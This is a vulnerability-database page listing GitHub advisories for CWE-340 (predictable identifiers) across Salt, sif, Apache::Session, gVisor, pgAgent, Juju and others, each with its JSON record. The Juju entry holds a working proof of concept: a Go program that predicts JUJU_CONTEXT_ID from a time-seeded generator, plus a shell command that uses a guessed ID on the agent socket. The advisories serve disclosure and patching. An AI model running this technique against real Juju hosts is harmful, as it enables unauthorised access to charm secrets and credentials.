Common Weakness Enumeration

CWE-340

Allowed-with-Review

Generation of Predictable Numbers or Identifiers

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product uses a scheme that generates numbers or identifiers that are more predictable than required.

69 vulnerabilities reference this CWE, most recent first.

GHSA-4277-M35Q-7C9W

Vulnerability from github – Published: 2024-11-14 06:30 – Updated: 2024-11-14 18:06
VLAI
Summary
Salt preflight script could be attacker controlled
Details

The Salt-SSH pre-flight option copies the script to the target at a predictable path, which allows an attacker to force Salt-SSH to run their script. If an attacker has access to the target VM and knows the path to the pre-flight script before it runs they can ensure Salt-SSH runs their script with the privileges of the user running Salt-SSH. Do not make the copy path on the target predictable and ensure we check return codes of the scp command if the copy fails.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "salt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3005.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "salt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3006.0rc1"
            },
            {
              "fixed": "3006.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-340"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-14T18:06:53Z",
    "nvd_published_at": "2024-11-14T05:15:28Z",
    "severity": "MODERATE"
  },
  "details": "The Salt-SSH pre-flight option copies the script to the target at a predictable path, which allows an attacker to force Salt-SSH to run their script. If an attacker has access to the target VM and knows the path to the pre-flight script before it runs they can ensure Salt-SSH runs their script with the privileges of the user running Salt-SSH.\u00a0Do not make the copy path on the target predictable and ensure we check return codes of the scp command if the copy fails.",
  "id": "GHSA-4277-m35q-7c9w",
  "modified": "2024-11-14T18:06:53Z",
  "published": "2024-11-14T06:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34049"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltstack/salt/commit/286d55eb5a6e6bf9428405bdf5632b419bdf8444"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltstack/salt/commit/7a14112f2a16ce70e3c3e1862c92e37af5f2c7a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saltstack/salt"
    },
    {
      "type": "WEB",
      "url": "https://saltproject.io/security-announcements/2023-10-27-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Salt preflight script could be attacker controlled"
}

GHSA-4GH8-X3VV-PHHG

Vulnerability from github – Published: 2021-05-18 18:30 – Updated: 2023-01-10 16:09
VLAI
Summary
Predictable SIF UUID Identifiers in github.com/sylabs/sif
Details

Impact

The siftool new command and func siftool.New() produce predictable UUID identifiers due to insecure randomness in the version of the github.com/satori/go.uuid module used as a dependency.

Patches

A patch is available in version >= v1.2.3 of the module. Users are encouraged to upgrade.

The patch is commit https://github.com/sylabs/sif/commit/193962882122abf85ff5f5bcc86404933e71c07d

Workarounds

Users passing CreateInfo struct should ensure the ID field is generated using a version of github.com/satori/go.uuid that is not vulnerable to this issue. Unfortunately, the latest tagged release is vulnerable to this issue. One way to obtain a non-vulnerable version is:

go get github.com/satori/go.uuid@75cca531ea763666bc46e531da3b4c3b95f64557

References

  • https://github.com/satori/go.uuid/issues/73

For more information

If you have any questions or comments about this advisory: * Open an issue in github.com/sylabs/sif * Email us at security@sylabs.io

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sylabs/sif"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-330",
      "CWE-340"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-07T17:01:30Z",
    "nvd_published_at": "2021-05-07T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe `siftool new` command and [func siftool.New()](https://pkg.go.dev/github.com/sylabs/sif/pkg/siftool#New) produce predictable UUID identifiers due to insecure randomness in the version of the `github.com/satori/go.uuid` module used as a dependency.\n\n### Patches\n\nA patch is available in version \u003e= v1.2.3 of the module. Users are encouraged to upgrade.\n\nThe patch is commit https://github.com/sylabs/sif/commit/193962882122abf85ff5f5bcc86404933e71c07d\n\n### Workarounds\nUsers passing [CreateInfo struct](https://pkg.go.dev/github.com/sylabs/sif/pkg/sif#CreateInfo) should ensure the `ID` field is generated using a version of `github.com/satori/go.uuid` that is not vulnerable to this issue. Unfortunately, the latest tagged release is vulnerable to this issue. One way to obtain a non-vulnerable version is:\n\n```\ngo get github.com/satori/go.uuid@75cca531ea763666bc46e531da3b4c3b95f64557\n```\n\n### References\n* https://github.com/satori/go.uuid/issues/73\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/sylabs/sif](https://github.com/sylabs/sif/issues/new)\n* Email us at [security@sylabs.io](mailto:security@sylabs.io)\n",
  "id": "GHSA-4gh8-x3vv-phhg",
  "modified": "2023-01-10T16:09:36Z",
  "published": "2021-05-18T18:30:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sylabs/sif/security/advisories/GHSA-4gh8-x3vv-phhg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/satori/go.uuid/issues/73"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sylabs/sif/commit/193962882122abf85ff5f5bcc86404933e71c07d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sylabs/sif"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Predictable SIF UUID Identifiers in github.com/sylabs/sif"
}

GHSA-546V-XQJF-QGCR

Vulnerability from github – Published: 2026-05-06 15:32 – Updated: 2026-06-30 03:36
VLAI
Details

Apache::Session::Generate::ModUniqueId versions from 1.54 through 1.94 for Perl session ids are insecure.

Apache::Session::Generate::ModUniqueId (added in version 1.54) uses the value of the UNIQUE_ID environment variable for the session id. The UNIQUE_ID variable is set by the Apache mod_unique_id plugin, which generates unique ids for the request. The id is based on the IPv4 address, the process id, the epoch time, a 16-bit counter and a thread index, with no obfuscation.

The server IP is often available to the public, and if not available, can be guessed from previous session ids being issued. The process ids may also be guessed from previous session ids. The timestamp is easily guessed (and leaked in the HTTP Date response header).

The purpose of mod_unique_id is to assign a unique id to requests so that events can be correlated in different logs. The id is not designed, nor is it suitable for security purposes.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-5081"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-340",
      "CWE-341"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-06T13:16:09Z",
    "severity": "CRITICAL"
  },
  "details": "Apache::Session::Generate::ModUniqueId versions from 1.54 through 1.94 for Perl session ids are insecure.\n\nApache::Session::Generate::ModUniqueId (added in version 1.54) uses the value of the UNIQUE_ID environment variable for the session id. The UNIQUE_ID variable is set by the Apache mod_unique_id plugin, which generates unique ids for the request. The id is based on the IPv4 address, the process id, the epoch time, a 16-bit counter and a thread index, with no obfuscation.\n\nThe server IP is often available to the public, and if not available, can be guessed from previous session ids being issued. The process ids may also be guessed from previous session ids. The timestamp is easily guessed (and leaked in the HTTP Date response header).\n\nThe purpose of mod_unique_id is to assign a unique id to requests so that events can be correlated in different logs. The id is not designed, nor is it suitable for security purposes.",
  "id": "GHSA-546v-xqjf-qgcr",
  "modified": "2026-06-30T03:36:33Z",
  "published": "2026-05-06T15:32:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5081"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-5081"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467174"
    },
    {
      "type": "WEB",
      "url": "https://httpd.apache.org/docs/current/mod/mod_unique_id.html"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/pod/Apache::Session::Generate::Random"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-5081.json"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/06/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RGW-QFM8-JFVG

Vulnerability from github – Published: 2025-10-07 21:31 – Updated: 2025-10-07 21:31
VLAI
Details

Generation of Predictable Numbers or Identifiers vulnerability in B&R Industrial Automation Automation Runtime.This issue affects Automation Runtime: from 6.0 before 6.4.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-3449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-340"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-07T19:15:36Z",
    "severity": "LOW"
  },
  "details": "Generation of Predictable Numbers or Identifiers vulnerability in B\u0026R Industrial Automation Automation Runtime.This issue affects Automation Runtime: from 6.0 before 6.4.",
  "id": "GHSA-6rgw-qfm8-jfvg",
  "modified": "2025-10-07T21:31:05Z",
  "published": "2025-10-07T21:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3449"
    },
    {
      "type": "WEB",
      "url": "https://www.br-automation.com/fileadmin/SA25P003-178b6a20.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-98HX-VMW6-46W7

Vulnerability from github – Published: 2025-01-30 21:31 – Updated: 2025-07-29 21:30
VLAI
Details

Weaknesses in the generation of TCP/UDP source ports and some other header values in Google's gVisor allowed them to be predicted by an external attacker in some circumstances.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-10603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-340"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-30T20:15:32Z",
    "severity": "MODERATE"
  },
  "details": "Weaknesses in the generation of TCP/UDP source ports and some other header values in Google\u0027s gVisor allowed them to be predicted by an external attacker in some circumstances.",
  "id": "GHSA-98hx-vmw6-46w7",
  "modified": "2025-07-29T21:30:33Z",
  "published": "2025-01-30T21:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10603"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/gvisor/commit/5d2bf2546805afa09a6f6d9b23ec267823e32205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/gvisor/commit/83f75082e5b03fafca9201d9d9939028f712b0b2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/gvisor/commit/cbdb2c61b1f753834cedf2ebe68cbc335dadca52"
    },
    {
      "type": "WEB",
      "url": "https://www.ndss-symposium.org/wp-content/uploads/2025-122-paper.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J2PC-4J53-Q3WW

Vulnerability from github – Published: 2025-01-07 21:30 – Updated: 2025-11-03 18:31
VLAI
Details

When batch jobs are executed by pgAgent, a script is created in a temporary directory and then executed. In versions of pgAgent prior to 4.2.3, an insufficiently seeded random number generator is used when generating the directory name, leading to the possibility for a local attacker to pre-create the directory and thus prevent pgAgent from executing jobs, disrupting scheduled tasks.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-0218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-330",
      "CWE-340"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-07T20:15:30Z",
    "severity": "MODERATE"
  },
  "details": "When batch jobs are executed by pgAgent, a script is created in a temporary directory and then executed. In versions of pgAgent prior to 4.2.3, an insufficiently seeded random number generator is used when generating the directory name, leading to the possibility for a local attacker to pre-create the directory and thus prevent pgAgent from executing jobs, disrupting scheduled tasks.",
  "id": "GHSA-j2pc-4j53-q3ww",
  "modified": "2025-11-03T18:31:15Z",
  "published": "2025-01-07T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0218"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgadmin-org/pgagent/commit/1ecd193a2be3a3dc9e98f369495e1a792e6d508c"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00018.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JPV7-7G7J-HGWR

Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-26 00:32
VLAI
Details

Setracker2 Android Companion App com.tgelec.setracker versions 3.1.5 and prior have a predictable registration ID derived from IMEI. The enrollment system lacks additional authentication before assignment. If an attacker is able to obtain the registration ID, they would be able to arbitrarily enroll watches belonging to other users.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
8.3 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-9219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-340"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T00:16:55Z",
    "severity": "HIGH"
  },
  "details": "Setracker2 Android Companion App com.tgelec.setracker versions 3.1.5 and prior have a predictable registration ID derived from IMEI. The enrollment system lacks additional authentication before assignment. If an attacker is able to obtain the registration ID, they would be able to arbitrarily enroll watches belonging to other users.",
  "id": "GHSA-jpv7-7g7j-hgwr",
  "modified": "2026-06-26T00:32:07Z",
  "published": "2026-06-26T00:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9219"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/refs/heads/develop/csaf_files/VA/white/2026/va-26-176-01.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M8P9-Q5R3-WRMF

Vulnerability from github – Published: 2024-12-24 06:30 – Updated: 2024-12-24 06:30
VLAI
Details

The Advanced Google reCAPTCHA plugin for WordPress is vulnerable to IP unblocking in all versions up to, and including, 1.25. This is due to the plugin not utilizing a strong unique key when generating an unblock request. This makes it possible for unauthenticated attackers to unblock their IP after being locked out due to too many bad password attempts

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-12034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-340"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-24T06:15:32Z",
    "severity": "MODERATE"
  },
  "details": "The Advanced Google reCAPTCHA plugin for WordPress is vulnerable to IP unblocking in all versions up to, and including, 1.25. This is due to the plugin not utilizing a strong unique key when generating an unblock request. This makes it possible for unauthenticated attackers to unblock their IP after being locked out due to too many bad password attempts",
  "id": "GHSA-m8p9-q5r3-wrmf",
  "modified": "2024-12-24T06:30:42Z",
  "published": "2024-12-24T06:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12034"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3208704%40advanced-google-recaptcha\u0026new=3208704%40advanced-google-recaptcha\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0fa7e6f6-92b2-494b-8c7a-76ba8213b610?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MH98-763H-M9V4

Vulnerability from github – Published: 2024-10-03 16:49 – Updated: 2024-10-09 22:48
VLAI
Summary
JUJU_CONTEXT_ID is a predictable authentication secret
Details

JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.

This value looks fairly unpredictable, but due to the random source used, it is highly predictable.

JUJU_CONTEXT_ID has the following components: - the application name - the unit number - the hook being currently run - a uint63 decimal number

On a system the application name and unit number can be deduced by reading the structure of the filesystem. The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all. Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.

There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).

Impact

On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.

Patches

Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7 Patched in: - 3.5.4 - 3.4.6 - 3.3.7 - 3.1.10 - 2.9.51

Workarounds

No workaround. Upgrade will be required.

References

https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152 https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164

PoC

With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.

.
|-- hooks
|   `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
  - name: ubuntu
    channel: 22.04/stable
    architectures:
      - amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1

With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.

With access to the log file we can very quickly get the start time of the unit:

ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started

If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:

nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
  File: unit-sleepy-0.log
  Size: 1403        Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 25967076    Links: 1
Access: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
 Birth: 2024-08-06 05:10:06.965129276 +0000

We can then pass that into this program:

package main

import (
    "flag"
    "fmt"
    "math/rand"
    "time"
)

func main() {
    var unitName string
    var unitStartLogTime string
    var currentHook string
    flag.StringVar(&unitName, "u", "sleepy/0", "")
    flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
    flag.StringVar(&currentHook, "h", "install", "the current hook that is running right now")
    flag.Parse()

    t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
    if err != nil {
        panic(err)
    }

    sources := []rand.Source{
        rand.NewSource(t.Unix()),
        rand.NewSource(t.Unix() - 1),
        rand.NewSource(t.Unix() - 2),
    }

    for i := 0; i < 10; i++ {
        for _, source := range sources {
            fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
        }
    }
}

This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.

$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930

Unfortunately, this worked too well.

nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True

With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.

Severity
8.7 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H
6.2 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20240826044107-ecd7e2d0e986"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-337",
      "CWE-340"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-03T16:49:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`JUJU_CONTEXT_ID` is the authentication measure on the unit hook tool abstract domain socket. It looks like `JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633`.\n\nThis value looks fairly unpredictable, but due to the random source used, it is highly predictable.\n\n`JUJU_CONTEXT_ID` has the following components:\n- the application name\n- the unit number\n- the hook being currently run\n- a uint63 decimal number\n\nOn a system the application name and unit number can be deduced by reading the structure of the filesystem.\nThe current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.\nFinally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.\n\nThere is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).\n\n### Impact\nOn a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.\n\n### Patches\nPatch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7\nPatched in:\n- 3.5.4\n- 3.4.6\n- 3.3.7\n- 3.1.10\n- 2.9.51\n\n### Workarounds\nNo workaround. Upgrade will be required.\n\n### References\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164\n\n### PoC\nWith a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.\n\n```\n.\n|-- hooks\n|   `-- install\n#!/bin/sh\nsleep 10000\n|-- manifest.yaml\nbases:\n  - name: ubuntu\n    channel: 22.04/stable\n    architectures:\n      - amd64\n|-- metadata.yaml\nname: sleepy\nsummary: a sleepy charm\ndescription: a sleepy charm that sleeps on install\n`-- revision\n1\n```\n\nWith sleepy deployed into a model, we have a unit with the name `sleepy/0` and an tag of `unit-sleepy-0`.\n\nWith access to the log file we can very quickly get the start time of the unit:\n```\nubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep \u0027unit \"sleepy/0\" started\u0027\n2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit \"sleepy/0\" started\n```\n\nIf we don\u0027t have access to the log, we could get pretty close by trying every second between when log file was created and now:\n```\nnobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log\ncat: unit-sleepy-0.log: Permission denied\nnobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log\n  File: unit-sleepy-0.log\n  Size: 1403      \tBlocks: 8          IO Block: 4096   regular file\nDevice: 10302h/66306d\tInode: 25967076    Links: 1\nAccess: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)\nAccess: 2024-08-06 05:10:48.686975042 +0000\nModify: 2024-08-06 05:10:07.159133215 +0000\nChange: 2024-08-06 05:10:07.159133215 +0000\n Birth: 2024-08-06 05:10:06.965129276 +0000\n```\n\nWe can then pass that into this program:\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc main() {\n\tvar unitName string\n\tvar unitStartLogTime string\n\tvar currentHook string\n\tflag.StringVar(\u0026unitName, \"u\", \"sleepy/0\", \"\")\n\tflag.StringVar(\u0026unitStartLogTime, \"t\", \"2024-08-06 05:10:07\", \"time when the last \u0027INFO juju.worker.uniter uniter.go:363 unit %q started\u0027 log was written to /var/log/juju/unit-name-0.log\")\n\tflag.StringVar(\u0026currentHook, \"h\", \"install\", \"the current hook that is running right now\")\n\tflag.Parse()\n\n\tt, err := time.Parse(\"2006-01-02 15:04:05\", unitStartLogTime)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsources := []rand.Source{\n\t\trand.NewSource(t.Unix()),\n\t\trand.NewSource(t.Unix() - 1),\n\t\trand.NewSource(t.Unix() - 2),\n\t}\n\n\tfor i := 0; i \u003c 10; i++ {\n\t\tfor _, source := range sources {\n\t\t\tfmt.Printf(\"%s-%s-%d\\n\", unitName, currentHook, source.Int63())\n\t\t}\n\t}\n}\n```\n\nThis program will give us a list of `JUJU_CONTEXT_ID`s to try. We just need to try each one. In this case it was the first one, because we had enough information.\n\n```\n$ go run . -u sleepy/0 -t \"2024-08-06 05:10:07\" -h 